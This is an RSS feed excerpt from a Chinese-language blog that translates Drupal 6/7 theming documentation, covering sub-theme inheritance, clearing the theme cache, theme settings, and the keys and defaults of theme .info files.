      <title>创建子主题</title>
      <link>/post/drupal-create-sub-theme/</link>
      <pubDate>Sat, 05 Jul 2014 07:38:43 +0800</pubDate>
      <guid>/post/drupal-create-sub-theme/</guid>
      <description>&lt;p&gt;子主题跟其他主题类似，只有一点区别：他们继承了父主题的资源。子主题和父主题的层次是没有限制的。一个子主题可能是另外一个子主题的父主题，也可能存在分支的关系，这种随意性给了子主题很大的操作空间。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/90e9fdd7980deaebf1dd75b647df765f.png&#34; alt=&#34;sub-theme branch&#34; /&gt;&lt;/p&gt;

&lt;p&gt;想象一下，从线框图做一个父主题，然后在子主题中应用和实现所有的细节。然后利用同样的线框图，出一份不同的分支的子主题。在一个多站点Drupal上，需要一份具有一致性的主题？利用子主题，很多设计资源都可以进行分享。每站点的变化都可以应用到一个子主题中，共享资源的变化则可以应用到所有的子主题中。在合理的规划之下，子主题具有无穷的可能。&lt;/p&gt;

&lt;p&gt;##创建一个子主题&lt;/p&gt;

&lt;p&gt;一个子主题必须有一个跟父主题不同的内部名称。这个名字不能包含任何空格和特殊字符。&lt;strong&gt;子主题的名字必须以字母开始，并只能包含小写字母、数字和下划线&lt;/strong&gt;。我们假设我们的子主题命名为&amp;rdquo;my_subtheme&amp;rdquo;。&lt;/p&gt;

&lt;p&gt;###目录：my_subtheme&lt;/p&gt;

&lt;p&gt;子主题应该保存在自己的目录中。这个目录应该和名称一致。&lt;/p&gt;

&lt;p&gt;子主题的文件夹应该放在sites/example.com/themes/（&amp;rdquo;example.com&amp;rdquo;代表你的站点名称），如果要在多个站点使用这个子主题，可以放在sites/all/themes/里面。&lt;/p&gt;

&lt;p&gt;###my_subtheme.info文件&lt;/p&gt;

&lt;p&gt;要声明一个主题是另外一个主题的子主题，必须在my_subtheme文件夹里面放置一个my_subtheme.info文件。最简单的办法是把父主题的info文件拷贝过来，把名字改成my_subtheme.info。然后在my_subtheme.info中添加&amp;rdquo;base theme&amp;rdquo;来声明这个子主题的父主题或者说父主题；把&amp;rdquo;theme_name&amp;rdquo;改成父主题的机读名称。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;base theme = theme_name
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;修改name = 这行的内容，来起个供人阅读的名称也是个好主意。还可以修改description的值来对子主题做一个描述：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;name = My sub-theme
description = This is a sub-theme of theme Bartik, made by John for the web site example.com (red, responsive).
core = 7.x
base theme = bartik
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;子主题从父主题继承了&lt;strong&gt;大部分&lt;/strong&gt;的属性。最大的例外是区域、核心版本和颜色。你可能想要从父主题赋值区域以及核心一节的内容。如果你的父主题支持Color模块，并且你希望你的子主题也支持他，你可能还要把color目录拷贝过来，并且把父主题的info文件中相应的内容拷贝到子主题的info文件中：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;stylesheets[all][] = css/colors.css
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后把colors.css从你的父主题赋值到子主题的css目录中。&lt;/p&gt;

&lt;p&gt;##继承样式表&lt;/p&gt;

&lt;p&gt;只要在子主题info文件中声明最少一个样式表，所有父主题中定义的&lt;a href=&#34;https://www.drupal.org/node/171209&#34; target=&#34;_blank&#34;&gt;样式表&lt;/a&gt;都会被继承。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;覆盖继承的样式表&lt;/strong&gt;：给子主题中的一个样式表指定同样的文件名。例如要覆盖父主题继承来的style.css，只要在子主题的info文件里加入以下内容：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;stylesheets[all][]   = style.css
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果你只是想禁用引入的样式，只要创建一个同名空文件就可以了。&lt;/p&gt;

&lt;p&gt;###继承JavaScript&lt;/p&gt;

&lt;p&gt;所有父主题中的&lt;a href=&#34;https://www.drupal.org/node/171213&#34; target=&#34;_blank&#34;&gt;JavaScript&lt;/a&gt;都会被继承。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;覆盖继承的JavaScript&lt;/strong&gt;：在子主题的info文件里指定一个同名的文件。例如要覆盖父主题中的script.js，在info文件中加入这一行：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;scripts[] = script.js
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果只是想要禁用引入的脚本，只要创建一个同名空文件。（原作应该就是copy过来的——译者注）&lt;/p&gt;

&lt;p&gt;###Template.php函数的继承&lt;/p&gt;

&lt;p&gt;父主题中template.php定义的任何内容都会被继承，其中包括&lt;a href=&#34;https://www.drupal.org/node/173880#function-override&#34; target=&#34;_blank&#34;&gt;主题函数覆盖&lt;/a&gt;、&lt;a href=&#34;https://www.drupal.org/node/223430&#34; target=&#34;_blank&#34;&gt;预处理函数&lt;/a&gt;以及其他的任何东西。每个子主题也应该有自己的template.php，可以在这里添加自己的函数，或覆盖继承来的函数。&lt;/p&gt;

&lt;p&gt;template.php中包含两种主要类型：&lt;a href=&#34;https://www.drupal.org/node/173880#function-override&#34; target=&#34;_blank&#34;&gt;主题函数覆盖&lt;/a&gt;，以及&lt;a href=&#34;https://www.drupal.org/node/223430&#34; target=&#34;_blank&#34;&gt;预处理函数&lt;/a&gt;。模板系统用截然不同的方式来处理这两种函数。&lt;/p&gt;

&lt;p&gt;主题函数通过调用&lt;code&gt;theme(&#39;[hook]&#39;, $var, ....)&lt;/code&gt;的方式进行。当子主题覆盖了一个主题函数后，其他版本的这一函数就不会再执行了。&lt;/p&gt;

&lt;p&gt;而预处理函数会在处理tpl文件之前执行。例如，&lt;code&gt;[theme]_preprocess_page&lt;/code&gt;会在page.tpl.php渲染之前执行。而且，父主题的预处理函数会先于子主题的预处理函数被调用。&lt;/p&gt;

&lt;p&gt;综上所述，覆盖父主题的主题函数是可行的；而覆盖的方式无法阻止父主题预处理函数的执行，但可以通过&lt;code&gt;hook_theme_registry_alter()&lt;/code&gt;来移除一个父主题的预处理函数。&lt;/p&gt;

&lt;p&gt;###页面、节点、Block以及其他模板文件的继承&lt;/p&gt;

&lt;p&gt;Drupal提供了大量的文件，子主题可以用这些文件来继承属性。通过指定某种文件名或者结构，能够达到继承或覆盖模板的目的，这一技巧称为&lt;a href=&#34;http://drupal.org/node/223440&#34; target=&#34;_blank&#34;&gt;模板预测&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Drupal 7&lt;/strong&gt; 中会继承父主题中所有.tpl.php文件。可以添加更加明确指向的模板，例如用&lt;code&gt;node--blog.tpl.php&lt;/code&gt;在node.tpl.php的基础上工作。&lt;/p&gt;

&lt;p&gt;单独的连字符还是用于普通的分隔单词的目的，例如&lt;code&gt;user-picture.tpl.php&lt;/code&gt;或者&lt;code&gt;node--long-content-type-name.tpl.php&lt;/code&gt;，而一对连字符则代表对符号之前的类型的某一子类型的指示。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Drupal 6&lt;/strong&gt; 同7类似，也同样会继承父主题中的模板，但是如果想要进行更具针对性的渲染，必须首先把父主题中的这一模板（例如Node.tpl.php）拷贝到本主题之中。例如，要在子主题中添加一个&lt;code&gt;node-blog.tpl.php&lt;/code&gt;，必须先把node.tpl.php从父主题中拷贝出来。这其实是个Bug，在Drupal 7中已经修复，&lt;a href=&#34;http://drupal.org/node/279573#comment-2736592&#34; target=&#34;_blank&#34;&gt;在Drupal 6中则不会进行修复了&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;覆盖继承的模板&lt;/strong&gt;：在子主题中添加一个和父主题名字相同的模板，会覆盖掉父主题的同名模板。&lt;/p&gt;

&lt;p&gt;###截屏，Logo以及favicon的继承&lt;/p&gt;

&lt;p&gt;父主题的截屏会被继承，而Logo和favicon则&lt;strong&gt;不会被继承&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;覆盖继承来的截屏&lt;/strong&gt;：用info文件指定一个新的。&lt;/p&gt;

&lt;p&gt;###区域的继承&lt;/p&gt;

&lt;p&gt;子主题并不会继承父主题的区域定义。如果希望复用父主题的区域，需要从父主题的info文件中复制区域定义信息到自己的info文件重。如果你在使用非缺省的features，也应该将features的声明从父主题的info文件中拷贝出来。&lt;/p&gt;

&lt;p&gt;###颜色的继承&lt;/p&gt;

&lt;p&gt;color目录中对&lt;a href=&#34;https://www.drupal.org/node/108459&#34; target=&#34;_blank&#34;&gt;Color.module&lt;/a&gt;的支持不会被继承。&lt;/p&gt;

&lt;p&gt;###配置的继承&lt;/p&gt;

&lt;p&gt;theme-settings.php中的&lt;a href=&#34;https://www.drupal.org/node/177868&#34; target=&#34;_blank&#34;&gt;主题设置&lt;/a&gt;不会被继承，除非把设置声明从父主题info文件里拷贝到子主题info中。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>清空主题缓存</title>
      <link>/post/drupal-clean-theme-cache/</link>
      <pubDate>Sat, 05 Jul 2014 01:21:46 +0800</pubDate>
      <guid>/post/drupal-clean-theme-cache/</guid>
      <description>&lt;p&gt;原文：&lt;a href=&#34;https://www.drupal.org/docs/7/theming/clearing-the-theme-cache&#34; target=&#34;_blank&#34;&gt;Clearing the theme cache&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;info 文件被缓存在数据库中（不一定是数据库，反正是缓存了——译者注），所以对这个文件的变更，Drupal 是没有感知的。如果你新增了 tpl.php 文件，或者覆盖了新的主题方法，那么你需要清空主题缓存才能让这些变更生效。&lt;/p&gt;

&lt;p&gt;不要把这个缓存和&lt;a href=&#34;https://www.drupal.org/node/173880#theme-registry&#34; target=&#34;_blank&#34;&gt;主题注册表&lt;/a&gt;混淆了。要清理缓存，按照如下步骤进行：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;点击Performance页面里的“Clear all caches”按钮。注意这个按钮会清空&lt;strong&gt;所有&lt;/strong&gt;的缓存，其中不只是主题缓存。如果你的站点有很多页面或者很大流量，你可能希望用下面的&lt;strong&gt;其他&lt;/strong&gt;办法只清除主题缓存。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Drupal 7&lt;/strong&gt;  &amp;ldquo;Administration &amp;gt; Configuration &amp;gt; Development &amp;gt; Performance&amp;rdquo;（admin/config/development/performance）。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Drupal 6&lt;/strong&gt;  &amp;ldquo;Administer &amp;gt; Site configuration &amp;gt; Performance&amp;rdquo; （admin/settings/performance）。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;其他办法：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://drupal.org/project/admin_menu&#34; target=&#34;_blank&#34;&gt;Admin menu&lt;/a&gt;在Home图标下面有一个清空缓存的按钮。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://drupal.org/project/devel&#34; target=&#34;_blank&#34;&gt;Devel project&lt;/a&gt;中的Devel Block模块提供了一个&amp;rdquo;Empty cache&amp;rdquo;的连接。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;D7中的&lt;a href=&#34;http://api.drupal.org/api/function/drupal_theme_rebuild/7&#34; target=&#34;_blank&#34;&gt;drupal_theme_rebuild&lt;/a&gt;或者D6中的&lt;a href=&#34;http://api.drupal.org/api/drupal/includes!theme.inc/function/drupal_rebuild_theme_registry/6&#34; target=&#34;_blank&#34;&gt;drupal_rebuild_theme_registry&lt;/a&gt; API 函数。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;有些主题（Zen, Fusion等）在每个页面提供了一个复选框来重建主题缓存，带有漂亮的警告来提示你不要忘记关闭这东西。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://drupal.org/project/drush&#34; target=&#34;_blank&#34;&gt;Drush&lt;/a&gt;提供了一个命令：drush cc theme-registry.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://drupal.org/project/magic&#34; target=&#34;_blank&#34;&gt;The Magic Module&lt;/a&gt;有一个设置&amp;rdquo;Rebuild Theme Registry on Page Reload&amp;rdquo;（在页面重新载入时重建主题注册表）可以用于任何主题。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;浏览主题选择页也会清空.info文件缓存&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果上面的办法都失败了，还可以尝试&lt;a href=&#34;http://drupal.org/node/42055&#34; target=&#34;_blank&#34;&gt;清空全部缓存&lt;/a&gt;。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>全局设置</title>
      <link>/post/drupal-global-configuration/</link>
      <pubDate>Fri, 04 Jul 2014 19:42:03 +0800</pubDate>
      <guid>/post/drupal-global-configuration/</guid>
      <description>&lt;p&gt;接下来讲讲全局的主题设置选项，这些选项让用户可以显示主题支持的特性。注意这些全局设置可以被各个主题的独立设置所覆盖。&lt;/p&gt;

&lt;p&gt;这里列出了缺省的选项并作出一些简单解释。&lt;/p&gt;

&lt;p&gt;注意并不是所有的主题都支持全部的特性，有些可能压根就不显示（主题可以隐藏不支持的特性）。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Logo&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;多数主题会输出一个可点击的Logo，这个选项设置Logo的开关。用户可以在配置Form上传自己的Logo或者直接在主题文件夹替换logo.png，多数主题会按惯例使用logo.png作为文件名。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Site name, Site slogan&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;设置站点名称和口号是否显示。这些内容都在&amp;rdquo;Site Infomation&amp;rdquo;页面上配置。多数主题会在首页头部打印站点名称。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mission statement&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;很多主题支持在&amp;rdquo;Site Information&amp;rdquo;页面上设置的Mission Statement，通常只会显示在首页上。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;User picture in posts, User picture in comments&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;如果一个用户上传了用户照片，或者管理员已经为用户设置了缺省图片，可以通过这个项目来设置相关图片是否显示。如果这些选项是灰色的，说明用户设置的管理页面没有开启用户图片选项。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Search Box&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;很多主题会输出一个搜索窗口，一般会出现在头部或某个侧边栏。如果禁用了搜索模块，这个选项会变灰。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Primary links, Secondary links&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;两种菜单，可以在Node录入Form或菜单管理功能中向其中添加连接。多数主题都支持第一菜单。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/df7009239a9b364896029427b4455a08.jpg&#34; alt=&#34;links&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Garland内置了选择不同区域颜色的功能。Drupal 6有15中预设颜色，用户也可自行定制。这一功能需要使用颜色模块，该模块是默认启用的。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/a414aabd78ec162e951f40681309eb0e.jpg&#34; alt=&#34;Color&#34; /&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>主题的设置</title>
      <link>/post/drupal-theme-configuration/</link>
      <pubDate>Fri, 04 Jul 2014 19:40:33 +0800</pubDate>
      <guid>/post/drupal-theme-configuration/</guid>
      <description>&lt;p&gt;主题输出的很多页面元素都可以通过主题的配置页面打开或者关闭。&lt;/p&gt;

&lt;p&gt;##Drupal 7&lt;/p&gt;

&lt;p&gt;在&amp;rdquo;Administer &amp;gt; Appearance &amp;gt; Settings &amp;gt; themeName&amp;rdquo;可以找到这些设置。例如，网站的口号可以通过&amp;rdquo;Site slogan&amp;rdquo;复选框来控制。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/8dfd372be1d63a9fef5aa050e80a13ad.png&#34; alt=&#34;slogan&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这些复选框来自于&lt;a href=&#34;https://drupal.fleeto.us/translation/writing-theme-info-files&#34; target=&#34;_blank&#34;&gt;info文件&lt;/a&gt;中的定义，必须利用info文件中的&amp;rsquo;features&amp;rsquo;键来声明，例如&lt;code&gt;features[] = the_feature&lt;/code&gt;。如果没有指定，则会采用下列的缺省值：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;features[] = logo
features[] = name
features[] = slogan
features[] = node_user_picture
features[] = comment_user_picture
features[] = comment_user_verification
features[] = favicon
features[] = main_menu
features[] = secondary_menu
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Drupal 7移除了以前版本中的mission和search主题元素，原因是现在这些功能已经利用Block来实现了。Drupal 7中新增了“注释中的用户校验状态”这一选项。&lt;/p&gt;

&lt;p&gt;注意：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;info文件内容会被缓存到数据库，所以修改这一文件不会直接生效，生效前需要清理缓存。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;hook_features()已经弃用。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;##Drupal 6&lt;/p&gt;

&lt;p&gt;在Drupal 6中，这些设置存在于“Administer &amp;gt; Site building &amp;gt; Themes &amp;gt; themeName”，&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/f6607a36786c586cf16a75738fcfe55a.png&#34; alt=&#34;Drupal6 settings&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Drupal 6中的缺省值&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;features[] = logo
features[] = name
features[] = slogan
features[] = mission
features[] = node_user_picture
features[] = comment_user_picture
features[] = search
features[] = favicon
features[] = primary_links
features[] = secondary_links
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>info文件中的缺省值</title>
      <link>/post/default-values-in-drupal-info-file/</link>
      <pubDate>Fri, 04 Jul 2014 10:13:18 +0800</pubDate>
      <guid>/post/default-values-in-drupal-info-file/</guid>
      <description>

&lt;p&gt;下面是 info 文件中的缺省值，如果没有明确定义，则会没人采用这些值。&lt;/p&gt;

&lt;p&gt;这些值定义于 &lt;a href=&#34;http://api.drupal.org/api/drupal/modules%21system%21system.module/function/_system_rebuild_theme_data/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;_system_rebuild_theme_data()&lt;/code&gt;&lt;/a&gt;。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意：这些值以组为单位，换句话说，利用 &lt;code&gt;regions[sub_header] = Sub_header&lt;/code&gt; 会省略其他的缺省区域。对样式表也是一样的情况。虽然技术上样式表不算什么组，不过一单你定义了其他的样式表，那么 style.css 这一缺省包含的内容就会被略过，必须要显示声明才可使用。 *&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;regions&#34;&gt;regions&lt;/h2&gt;

&lt;h3 id=&#34;drupal-7&#34;&gt;Drupal 7&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;regions[sidebar_first]  = Left sidebar
regions[sidebar_second] = Right sidebar
regions[content] = Content
regions[header] = Header
regions[footer] = Footer
regions[highlighted] = Highlighted
regions[help] = Help
regions[page_top] = Page Top
regions[page_bottom] = Page Bottom
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;drupal-6&#34;&gt;Drupal 6&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;regions[left] = Left sidebar
regions[right] = Right sidebar
regions[content] = Content
regions[header] = Header
regions[footer] = Footer
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;engine&#34;&gt;engine&lt;/h2&gt;

&lt;h3 id=&#34;drupal-7-1&#34;&gt;Drupal 7&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;engine = phptemplate
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;features&#34;&gt;features&lt;/h2&gt;

&lt;h3 id=&#34;drupal-7-2&#34;&gt;Drupal 7&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;settings[toggle_logo] = 1
settings[toggle_name] = 1
settings[toggle_slogan] = 1
settings[toggle_node_user_picture] = 1
settings[toggle_comment_user_picture] = 1
settings[toggle_comment_user_verification] = 1
settings[toggle_favicon] = 1
settings[toggle_main_menu] = 1
settings[toggle_secondary_menu] = 1
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;screenshot&#34;&gt;screenshot&lt;/h2&gt;

&lt;pre&gt;&lt;code&gt;screenshot = screenshot.png
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;样式表和javascript的缺省值&#34;&gt;样式表和JavaScript的缺省值&lt;/h2&gt;

&lt;p&gt;style.css 和 script.js 文件在 Drupal 6 中是缺省的，在 Drupal 7 中必须定义所有的 CSS 和 JavaScript。&lt;/p&gt;

&lt;h3 id=&#34;stylesheets&#34;&gt;stylesheets&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;stylesheets[all][] = style.css
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;scripts&#34;&gt;scripts&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;scripts[] = script.js
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;php&#34;&gt;php&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;http://api.drupal.org/api/constant/DRUPAL_MINIMUM_PHP&#34; target=&#34;_blank&#34;&gt;DRUPAL_MINIMUM_PHP&lt;/a&gt;是一个常量，指明了Drupal核心要求的最低版本。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;php = DRUPAL_MINIMUM_PHP
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>为主题编写info文件</title>
      <link>/post/drupal-theme-info-file/</link>
      <pubDate>Fri, 04 Jul 2014 10:01:30 +0800</pubDate>
      <guid>/post/drupal-theme-info-file/</guid>
      <description>&lt;p&gt;.info文件是一个静态文本文件，用于主题的定义和配置。info文件的每一行都由一个键值对构成，例如name = my_theme。分号用来表明注释。有些键使用一点特别的语法：用中括号把一组相关内容组合为一个列表（类似数组）。如果你对数组不了解，可以看看Drupal核心主题中的.info文件，阅读其中的解释。即使.info文件并没有一个典型的缺省编辑工具，可以在Mac上使用TextEdit或者在Windows中使用Notepad来查看、编辑或者修改。&lt;/p&gt;

&lt;p&gt;注意本节讲解的.info文件是Drupal主题相关的，而不是模块中使用的info文件。可以在&lt;a href=&#34;https://www.drupal.org/developing/modules&#34; target=&#34;_blank&#34;&gt;模块开发指南&lt;/a&gt;的&lt;a href=&#34;https://www.drupal.org/node/542202&#34; target=&#34;_blank&#34;&gt;编写info文件&lt;/a&gt;学习模块中info文件的写法。&lt;/p&gt;

&lt;p&gt;举例&lt;/p&gt;

&lt;p&gt;下面的例子是一个Drupal 6中Garland主题的.info文件&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;name = Garland
description = Tableless, recolorable, multi-column, fluid width theme (default).
version = VERSION
core = 6.x
engine = phptemplate
stylesheets[all][] = style.css
stylesheets[print][] = print.css
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;##主题命名规则&lt;/p&gt;

&lt;p&gt;名字应该以字母开头，可以包含数字和下划线，不应含有连字符、空格以及标点。这个名字会被Drupal以&lt;a href=&#34;http://us3.php.net/manual/en/language.functions.php&#34; target=&#34;_blank&#34;&gt;PHP函数&lt;/a&gt;的方式来使用，所以需要遵循同样的规则。需要注意的是，不要同其他的主题或者模块重名。对于本地的主题，使用一个前缀来保证命名的唯一性是个好办法，例如example.com的主题可以叫做ex_themename。&lt;/p&gt;

&lt;p&gt;.info文件会被缓存，因此对这个文件的修改需要&lt;a href=&#34;https://www.drupal.org/node/337176&#34; target=&#34;_blank&#34;&gt;清空缓存&lt;/a&gt;才能获得正确的结果。&lt;/p&gt;

&lt;p&gt;.info文件也可以指定Drupal管理界面如何设置主题。&lt;/p&gt;

&lt;p&gt;##编码&lt;/p&gt;

&lt;p&gt;文件必须用UTF-8无BOM的方式进行保存。&lt;/p&gt;

&lt;p&gt;##内容&lt;/p&gt;

&lt;p&gt;Drupal能够识别下面的键，如果info文件重没有包含某些可选键，Drupal会使用这些键的&lt;a href=&#34;https://www.drupal.org/node/171206&#34; target=&#34;_blank&#34;&gt;缺省值&lt;/a&gt;。在核心主题中有相应的&lt;a href=&#34;https://www.drupal.org/node/171205#example&#34; target=&#34;_blank&#34;&gt;例子&lt;/a&gt;可供参考。&lt;/p&gt;

&lt;p&gt;###name&lt;/p&gt;

&lt;p&gt;现在在内部机读名称之外，可以独立设置可供人阅读的名称。相对于机读名称，这一名称对于可选字符的限制较少。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;name = A fantasy name
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;###description&lt;/p&gt;

&lt;p&gt;对主题的简短描述。这段描述会在位于&lt;strong&gt;&amp;ldquo;Administer &amp;gt; Site building &amp;gt; themes&amp;rdquo;&lt;/strong&gt;的主题选择页面显示。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;description = Tableless multi-column theme designed for blogs.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;###screenshot&lt;/p&gt;

&lt;p&gt;这个可选键告诉Drupal在哪里找到这个主题的缩略图，同样用于主题选择页面。如果这个键被省略，Drupal会在主题目录中查找&amp;rdquo;screenshot.png&amp;rdquo;文件。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;screenshot = screenshot.png
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;参考：&lt;a href=&#34;https://www.drupal.org/node/11637&#34; target=&#34;_blank&#34;&gt;为管理页面创建截图&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;###version&lt;/p&gt;

&lt;p&gt;version在主题被打包发布时会由drupal.org自动添加。所以如果要创建要发布到官网的主题，可以省略这一内容。然而，如果你的主题不准备在官网发布，就可以随便使用什么字符串来给这个键赋值了。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;version = 1.0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;###core&lt;/p&gt;

&lt;p&gt;从Drupal 6以后，所有的主题和模块的.info文件必须指明兼容的Drupal核心的主版本。这个值会同&lt;a href=&#34;http://api.drupal.org/api/constant/DRUPAL_CORE_COMPATIBILITY&#34; target=&#34;_blank&#34;&gt;DRUPAL_CORE_COMPATIBILITY&lt;/a&gt;这一常量进行比较。如果不符合，这个主题会被禁用。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;core = 6.x
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;a href=&#34;http://drupalcode.org/project/drupalorg.git/blob/refs/heads/6.x-3.x:/drupalorg_project/plugins/release_packager/DrupalorgProjectPackageRelease.class.php&#34; target=&#34;_blank&#34;&gt;drupal.org打包脚本&lt;/a&gt;会根据Drupal核心版本为每个发布节点自动设置这个值，所以用户从drupal.org下载主题时总会得到正确的版本。对于其他方式的下载和安装，这个项是很有帮助的。&lt;/p&gt;

&lt;p&gt;###engine&lt;/p&gt;

&lt;p&gt;主题所使用的引擎。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Drupal 6&lt;/strong&gt;：如果没有指定这个值，会假设这个主题是独立的，也就是用“.theme”实现的。多数主题会使用phptemplate作为缺省引擎。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Drupal 7&lt;/strong&gt;：Drupal 7中用PHPTemplate为缺省引擎，这一行不再必要。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;engine = phptemplate
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;###base theme&lt;/p&gt;

&lt;p&gt;子主题可以声明一个基主题。这使得主题可以继承，意味着基主题的的资源可以在子主题中进行复用。子主题也能够作为其他子主题的基主题，形成多级继承的模式。base theme的值是基主题的机读名称，下面代码来自于Minnelli，Garland的子主题。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;base theme = garland
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/node/225125&#34; target=&#34;_blank&#34;&gt;《子主题，结构和继承》&lt;/a&gt;一文描述了更多细节。&lt;/p&gt;

&lt;p&gt;###regions&lt;/p&gt;

&lt;p&gt;区域的定义来自于主题info中的&amp;rsquo;regions&amp;rsquo;，后面的中括号中代表这个区域的机读名称，值则是标题。例如regions[theRegion] = The region name.&lt;/p&gt;

&lt;p&gt;如果没有定义regions，则会假设使用如下定义&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Drupal 6的缺省区域&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;regions[left] = Left sidebar
regions[right] = Right sidebar
regions[content] = Content
regions[header] = Header
regions[footer] = Footer
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;Drupal 7的缺省区域&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;regions[header] = Header
regions[highlighted] = Highlighted
regions[help] = Help
regions[content] = Content
regions[sidebar_first] = Left sidebar
regions[sidebar_second] = Right sidebar
regions[footer] = Footer
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用户可以根据自身需求进行定义。&lt;/p&gt;

